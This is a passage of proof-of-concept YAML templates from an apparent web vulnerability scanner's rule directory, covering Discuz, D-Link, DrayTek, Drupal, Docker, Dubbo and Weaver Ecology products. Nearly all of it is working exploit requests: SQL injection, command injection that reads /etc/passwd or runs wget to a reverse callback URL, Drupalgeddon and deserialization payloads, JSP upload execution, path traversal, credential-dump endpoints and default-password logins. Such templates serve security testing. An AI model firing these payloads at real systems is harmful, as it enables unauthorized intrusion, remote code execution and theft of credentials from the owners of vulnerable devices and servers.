"{{token}}language=sc'.print(md5({{r1}})).'" follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(md5(string(r1)))) detail: author: X.Yang Discuz_version: Discuz!ML 3.x links: - https://www.cnvd.org.cn/flaw/show/CNVD-2019-22239 ================================================ FILE: WebScan/pocs/discuz-v72-sqli.yml ================================================ name: poc-yaml-discuz-v72-sqli rules: - method: GET path: >- /faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(user,0x3a,md5(1234),0x3a)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 follow_redirects: false expression: > response.status == 200 && response.body.bcontains(b"81dc9bdb52d04dc20036dbd8313ed055") && response.body.bcontains(b"Discuz! info: MySQL Query Error") detail: author: leezp Affected Version: "discuz <=v7.2" vuln_url: "/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20" links: - https://blog.csdn.net/weixin_40709439/article/details/82780606 ================================================ FILE: WebScan/pocs/discuz-wechat-plugins-unauth.yml ================================================ name: poc-yaml-discuz-wechat-plugins-unauth rules: - method: GET path: '/plugin.php?id=wechat:wechat&ac=wxregister' follow_redirects: false expression: | response.status == 302 && "set-cookie" in response.headers && response.headers["set-cookie"].contains("auth") && "location" in response.headers && response.headers["location"].contains("wsq.discuz.com") detail: author: JrD links: - https://gitee.com/ComsenzDiscuz/DiscuzX/issues/IPRUI ================================================ FILE: WebScan/pocs/discuz-wooyun-2010-080723.yml ================================================ name: poc-yaml-discuz-wooyun-2010-080723 set: rand: randomInt(200000000, 210000000) rules: - method: GET path: >- /viewthread.php?tid=10 headers: Cookie: GLOBALS%5B_DCACHE%5D%5Bsmilies%5D%5Bsearcharray%5D=/.*/eui; GLOBALS%5B_DCACHE%5D%5Bsmilies%5D%5Breplacearray%5D=print_r(md5({{rand}})); follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) detail: version: Discuz 7.x/6.x author: Loneyer links: - https://github.com/vulhub/vulhub/tree/master/discuz/wooyun-2010-080723 ================================================ FILE: WebScan/pocs/django-CVE-2018-14574.yml ================================================ name: poc-yaml-django-CVE-2018-14574 rules: - method: GET path: //www.example.com follow_redirects: false expression: response.status == 301 && response.headers['location']=="//www.example.com/" detail: author: ivan links: - https://github.com/vulhub/vulhub/tree/master/django/CVE-2018-14574 ================================================ FILE: WebScan/pocs/dlink-850l-info-leak.yml ================================================ name: poc-yaml-dlink-850l-info-leak rules: - method: POST path: /hedwig.cgi headers: Content-Type: text/xml Cookie: uid=R8tBjwtFc8 body: |- ../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml follow_redirects: false expression: > response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(b"") && response.body.bcontains(b"") && response.body.bcontains(b"OK") detail: author: cc_ci(https://github.com/cc8ci) Affected Version: "Dir-850L" links: - https://xz.aliyun.com/t/2941 ================================================ FILE: WebScan/pocs/dlink-cve-2019-16920-rce.yml ================================================ name: poc-yaml-dlink-cve-2019-16920-rce set: reverse: newReverse() reverseURL: reverse.url rules: - method: POST path: /apply_sec.cgi headers: Content-Type: application/x-www-form-urlencoded body: >- html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20{{reverseURL}} follow_redirects: true expression: | response.status == 200 && reverse.wait(5) detail: author: JingLing(https://hackfun.org/) links: - https://www.anquanke.com/post/id/187923 - https://medium.com/@80vul/determine-the-device-model-affected-by-cve-2019-16920-by-zoomeye-bf6fec7f9bb3 ================================================ FILE: WebScan/pocs/dlink-cve-2019-17506.yml ================================================ name: poc-yaml-dlink-cve-2019-17506 rules: - method: POST path: /getcfg.php headers: Content-Type: application/x-www-form-urlencoded body: SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a follow_redirects: false expression: > response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(b"") && response.body.bcontains(b"") detail: author: l1nk3r,Huasir(https://github.com/dahua966/) links: - https://xz.aliyun.com/t/6453 ================================================ FILE: WebScan/pocs/dlink-cve-2020-25078-account-disclosure.yml ================================================ name: poc-yaml-dlink-cve-2020-25078-account-disclosure rules: - method: GET path: >- /config/getuser?index=0 follow_redirects: false expression: | response.status == 200 && response.headers["Content-Type"].contains("text/plain") && response.body.bcontains(b"name=admin") && response.body.bcontains(b"pass=") detail: author: kzaopa(https://github.com/kzaopa) links: - https://mp.weixin.qq.com/s/b7jyA5sylkDNauQbwZKvBg ================================================ FILE: WebScan/pocs/dlink-cve-2020-9376-dump-credentials.yml ================================================ name: poc-yaml-dlink-cve-2020-9376-dump-credentials rules: - method: POST path: /getcfg.php headers: Content-Type: application/x-www-form-urlencoded body: >- SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1 expression: > response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(b"Admin") && response.body.bcontains(b"") && response.body.bcontains(b"") detail: author: x1n9Qi8 Affected Version: "Dlink DIR-610" links: - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9376 ================================================ FILE: WebScan/pocs/dlink-dsl-2888a-rce.yml ================================================ name: poc-yaml-dlink-dsl-2888a-rce rules: - method: GET path: /page/login/login.html follow_redirects: false expression: | response.status == 200 && response.content_type.contains("text/html") && response.body.bcontains(b"var ModelName=\"DSL-2888A\";") - method: POST path: / body: username=admin&password=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b headers: Content-Type: application/x-www-form-urlencoded follow_redirects: false expression: | response.status == 302 && response.headers["location"] == "/page/login/login_fail.html" - method: GET path: /cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=id follow_redirects: false expression: | response.status == 200 && response.content_type.contains("text/html") && response.body.bcontains(b"uid=0(admin) gid=0(admin)") detail: author: mvhz81 info: dlink-dsl-2888a CVE-2020-24579(Insufficient Authentication) + Hidden Functionality (CVE-2020-24581) = RCE links: - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/d-link-multiple-security-vulnerabilities-leading-to-rce/ ================================================ FILE: WebScan/pocs/docker-api-unauthorized-rce.yml ================================================ name: poc-yaml-docker-api-unauthorized-rce rules: - method: GET path: /info follow_redirects: false expression: | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"KernelVersion") && response.body.bcontains(b"RegistryConfig") && response.body.bcontains(b"DockerRootDir") detail: author: j4ckzh0u(https://github.com/j4ckzh0u) links: - https://github.com/vulhub/vulhub/tree/master/docker/unauthorized-rce ================================================ FILE: WebScan/pocs/docker-registry-api-unauth.yml ================================================ name: poc-yaml-docker-registry-api-unauth rules: - method: GET path: /v2/ follow_redirects: false expression: > response.status == 200 && "docker-distribution-api-version" in response.headers && response.headers["docker-distribution-api-version"].contains("registry/2.0") - method: GET path: /v2/_catalog follow_redirects: false expression: > response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"repositories") detail: author: p0wd3r links: - http://www.polaris-lab.com/index.php/archives/253/ ================================================ FILE: WebScan/pocs/dotnetcms-sqli.yml ================================================ name: poc-yaml-dotnetcms-sqli set: r1: randomInt(800000000, 1000000000) r2: randomInt(1, 100) rules: - method: GET path: /user/City_ajax.aspx follow_redirects: false expression: | response.status == 200 - method: GET path: >- /user/City_ajax.aspx?CityId={{r2}}'union%20select%20sys.fn_sqlvarbasetostr(HashBytes('MD5','{{r1}}')),2-- follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(md5(string(r1)))) detail: Affected Version: "v1.0~v2.0" links: - https://www.cnblogs.com/rebeyond/p/4951418.html - http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0150742 ================================================ FILE: WebScan/pocs/draytek-cve-2020-8515.yml ================================================ name: poc-yaml-draytek-cve-2020-8515 rules: - method: POST path: /cgi-bin/mainfunction.cgi headers: Content-Type: text/plain; charset=UTF-8 body: >- action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2f/etc/passwd%26id%26pwd&loginUser=a&loginPwd=a expression: > response.status == 200 && response.body.bcontains(b"uid") && response.body.bcontains(b"gid") && "root:[x*]:0:0:".bmatches(response.body) detail: author: Soveless(https://github.com/Soveless) Affected Version: "Vigor2960, Vigor300B, Vigor3900 < v1.5.1, VigorSwitch20P2121, VigorSwitch20G1280, VigorSwitch20P1280, VigorSwitch20G2280, VigorSwitch20P2280 <= v2.3.2" links: - https://github.com/imjdl/CVE-2020-8515-PoC ================================================ FILE: WebScan/pocs/druid-monitor-unauth.yml ================================================ name: poc-yaml-druid-monitor-unauth rules: - method: GET path: /druid/index.html expression: | response.status == 200 && response.body.bcontains(b"Druid Stat Index") && response.body.bcontains(b"DruidVersion") && response.body.bcontains(b"DruidDrivers") detail: author: met7or links: - https://github.com/alibaba/druid ================================================ FILE: WebScan/pocs/drupal-cve-2014-3704-sqli.yml ================================================ name: poc-yaml-drupal-cve-2014-3704-sqli rules: - method: POST path: /?q=node&destination=node body: >- pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5(666)),1)%23]=bob&name[0]=a follow_redirects: false expression: | response.status == 500 && response.body.bcontains(b"PDOException") && response.body.bcontains(b"fae0b27c451c728867a567e8c1bb4e53") detail: Affected Version: "Drupal < 7.32" links: - https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2014-3704 ================================================ FILE: WebScan/pocs/drupal-cve-2018-7600-rce.yml ================================================ name: poc-yaml-drupal-cve-2018-7600-rce set: r1: randomLowercase(4) r2: randomLowercase(4) groups: drupal8: - method: POST path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" headers: Content-Type: application/x-www-form-urlencoded body: | form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}} expression: | response.body.bcontains(bytes(r1 + "%" + r2)) drupal7: - method: POST path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}" headers: Content-Type: application/x-www-form-urlencoded body: | form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password search: | name="form_build_id"\s+value="(?P.+?)" expression: | response.status == 200 - method: POST path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}" headers: Content-Type: application/x-www-form-urlencoded body: | form_build_id={{build_id}} expression: | response.body.bcontains(bytes(r1 + "%" + r2)) detail: links: - https://github.com/dreadlocked/Drupalgeddon2 - https://paper.seebug.org/567/ test: target: http://cve-2018-7600-8-x.vulnet:8080/ ================================================ FILE: WebScan/pocs/drupal-cve-2019-6340.yml ================================================ name: poc-yaml-drupal-cve-2019-6340 set: host: request.url.host r1: randomLowercase(4) r2: randomLowercase(4) rules: - method: POST path: /node/?_format=hal_json headers: Content-Type: application/hal+json Accept: '*/*' body: | { "link": [ { "value": "link", "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:10:\"{{r1}}%%{{r2}}\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"printf\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" } ], "_links": { "type": { "href": "http://{{host}}/rest/type/shortcut/default" } } } follow_redirects: true expression: | response.status == 403 && response.content_type.contains("hal+json") && response.body.bcontains(bytes(r1 + "%" + r2)) detail: author: thatqier links: - https://github.com/jas502n/CVE-2019-6340 - https://github.com/knqyf263/CVE-2019-6340 ================================================ FILE: WebScan/pocs/dubbo-admin-default-password.yml ================================================ name: poc-yaml-dubbo-admin-default-password groups: root: - method: GET path: / headers: Authorization: Basic cm9vdDpyb290 expression: | response.status == 200 && response.body.bcontains(b"Dubbo Admin") && response.body.bcontains(b": root', '/logout'") && response.body.bcontains(b"/sysinfo/versions") guest: - method: GET path: / headers: Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= expression: | response.status == 200 && response.body.bcontains(b"Dubbo Admin") && response.body.bcontains(b": guest', '/logout'") && response.body.bcontains(b"/sysinfo/versions") detail: author: mumu0215(https://github.com/mumu0215) links: - https://www.cnblogs.com/wishwzp/p/9438658.html ================================================ FILE: WebScan/pocs/duomicms-sqli.yml ================================================ name: poc-yaml-duomicms-sqli rules: - method: GET path: >- /duomiphp/ajax.php?action=addfav&id=1&uid=1%20and%20extractvalue(1,concat_ws(1,1,md5(2000000005))) follow_redirects: false expression: | response.body.bcontains(b"fc9bdfb86bae5c322bae5acd78760935") detail: author: hanxiansheng26(https://github.com/hanxiansheng26) Affected Version: "duomicms<3.0" links: - https://xz.aliyun.com/t/2828 ================================================ FILE: WebScan/pocs/dvr-cve-2018-9995.yml ================================================ name: poc-yaml-dvr-cve-2018-9995 rules: - method: GET path: >- /device.rsp?opt=user&cmd=list headers: Cookie: uid=admin follow_redirects: true expression: > response.status == 200 && response.body.bcontains(bytes("\"uid\":")) && response.body.bcontains(b"playback") detail: author: cc_ci(https://github.com/cc8ci) Affected Version: "DVR" links: - https://s.tencent.com/research/bsafe/474.html ================================================ FILE: WebScan/pocs/e-office-v10-sql-inject.yml ================================================ name: e-office-v10-sql-inject rules: - method: GET path: /eoffice10/server/ext/system_support/leave_record.php?flow_id=1&run_id=1&table_field=1&table_field_name=user()&max_rows=10 follow_redirects: false expression: | response.status == 200 && response.body.bcontains(b'

          未找到相关数据

          ') detail: author: Print1n(https://github.com/Print1n) description: | 泛微 eoffice v10 前台 SQL 注入 FOFA:fid="2csJpuWtfTdSAavIfJTuBw==" links: - https://www.hedysx.com/2777.html ================================================ FILE: WebScan/pocs/e-office-v9-upload-cnvd-2021-49104.yml ================================================ name: e-office-v9-upload-cnvd-2021-49104 set: r1: randomLowercase(8) rules: - method: POST path: /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= headers: Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4 body: |- --e64bdf16c554bbc109cecef6451c26a4 Content-Disposition: form-data; name="Filedata"; filename="test.txt" Content-Type: image/jpeg {{r1}} --e64bdf16c554bbc109cecef6451c26a4-- expression: response.status == 200 && response.body.bcontains(b"logo-eoffice") - method: GET path: /images/logo/logo-eoffice.txt expression: response.status == 200 && response.body.bcontains(bytes(r1)) detail: author: szd790056181 links: - http://www.ctfiot.com/13682.html ================================================ FILE: WebScan/pocs/e-zkeco-cnvd-2020-57264-read-file.yml ================================================ name: poc-yaml-e-zkeco-cnvd-2020-57264-read-file rules: - method: GET path: /iclock/ccccc/windows/win.ini expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") detail: author: ThestaRY (https://github.com/ThestaRY7/) links: - https://www.cnvd.org.cn/flaw/show/CNVD-2020-57264 info: E-ZKEco readfileCNVD-2020-57264 ================================================ FILE: WebScan/pocs/ecology-arbitrary-file-upload.yml ================================================ name: poc-yaml-weaver-oa-arbitrary-file-upload set: r1: randomLowercase(4) r2: randomInt(40000, 44800) r3: randomInt(40000, 44800) rules: - method: POST path: /page/exportImport/uploadOperation.jsp headers: Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFy3iNVBftjP6IOwo body: |- ------WebKitFormBoundaryFy3iNVBftjP6IOwo Content-Disposition: form-data; name="file"; filename="{{r1}}.jsp" Content-Type: application/octet-stream <%out.print({{r2}} * {{r3}});new java.io.File(application.getRealPath(request.getServletPath())).delete();%> ------WebKitFormBoundaryFy3iNVBftjP6IOwo-- expression: response.status == 200 - method: GET path: '/page/exportImport/fileTransfer/{{r1}}.jsp' expression: response.status == 200 && response.body.bcontains(bytes(string(r2 * r3))) detail: author: jingling(https://github.com/shmilylty) links: - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g ================================================ FILE: WebScan/pocs/ecology-filedownload-directory-traversal.yml ================================================ name: poc-yaml-ecology-filedownload-directory-traversal rules: - method: GET path: /weaver/ln.FileDownload?fpath=../ecology/WEB-INF/web.xml follow_redirects: false expression: | response.status == 200 && response.body.bcontains(b"/weaver/") detail: author: l1nk3r links: - https://www.weaver.com.cn/cs/securityDownload.asp ================================================ FILE: WebScan/pocs/ecology-javabeanshell-rce.yml ================================================ name: poc-yaml-ecology-javabeanshell-rce set: r1: randomInt(40000, 44800) r2: randomInt(40000, 44800) rules: - method: POST path: /weaver/bsh.servlet.BshServlet body: >- bsh.script=print%28{{r1}}*{{r2}}%29&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) detail: author: l1nk3r links: - https://www.weaver.com.cn/cs/securityDownload.asp ================================================ FILE: WebScan/pocs/ecology-springframework-directory-traversal.yml ================================================ name: poc-yaml-ecology-springframework-directory-traversal rules: - method: GET path: /weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/web.xml follow_redirects: false expression: | response.status == 200 && response.body.bcontains(b"/weaver/") detail: author: l1nk3r links: - https://www.weaver.com.cn/cs/securityDownload.asp ================================================ FILE: WebScan/pocs/ecology-syncuserinfo-sqli.yml ================================================ name: poc-yaml-ecology-syncuserinfo-sqli set: r1: randomInt(40000, 44800) r2: randomInt(40000, 44800) rules: - method: GET path: >- /mobile/plugin/SyncUserInfo.jsp?userIdentifiers=-1)union(select(3),null,null,null,null,null,str({{r1}}*{{r2}}),null follow_redirects: true expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) detail: author: MaxSecurity(https://github.com/MaxSecurity) links: - https://www.weaver.com.cn/ ================================================ FILE: WebScan/pocs/ecology-v8-sqli.yml ================================================ name: poc-yaml-ecology-v8-sqli set: r1: randomInt(1000, 9999) r2: randomInt(1000, 9999) rules: - method: GET path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select+{{r1}}*{{r2}}+as+id follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) detail: author: Print1n(http://print1n.top) links: - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20V8%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html ================================================ FILE: WebScan/pocs/ecology-validate-sqli.yml ================================================ name: poc-yaml-ecology-validate-sqli set: r1: randomInt(8000, 9999) r2: randomInt(800, 1000) rules: - method: POST path: /cpt/manage/validate.jsp?sourcestring=validateNum body: >- sourcestring=validateNum&capitalid=11%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0dunion+select+str({{r1}}*{{r2}})&capitalnum=-10 follow_redirects: true expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) detail: author: fuping links: - https://news.ssssafe.com/archives/3325 - https://www.weaver.com.cn/cs/securityDownload.asp ================================================ FILE: WebScan/pocs/ecology-workflowcentertreedata-sqli.yml ================================================ name: poc-yaml-ecology-workflowcentertreedata-sqli set: r1: randomInt(4000, 9999) r2: randomInt(800, 1000) rules: - method: POST path: /mobile/browser/WorkflowCenterTreeData.jsp headers: Content-Type: application/x-www-form-urlencoded body: >- node=wftype_1132232323231&scope=23332323&formids=1111111111111%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a)))union+select+1024,({{r1}}*{{r2}})+order+by+(((1 follow_redirects: true expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) detail: author: JingLing(https://hackfun.org/) links: - https://anonfiles.com/A4cede8an1/_OA_WorkflowCenterTreeData_oracle_html - https://mp.weixin.qq.com/s/9mpvppx3F-nTQYoPdY2r3w ================================================ FILE: WebScan/pocs/ecology-workflowservicexml.yml ================================================ name: poc-yaml-ecology-workflowservicexml set: rand1: randomInt(1000, 9999) rand2: randomInt(1000, 9999) groups: windows: - method: POST path: /services%20/WorkflowServiceXml follow_redirects: false headers: Content-Type: text/xml cmd: type c:\\windows\\win.ini body: | <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class="org.apache.commons.beanutils.BeanComparator"> <property>outputProperties</property> <comparator class="org.apache.commons.collections.comparators.ComparableComparator"/> </comparator> </default> <int>3</int> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization="custom"> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <default> <__name>Pwnr</__name> <__bytecodes> 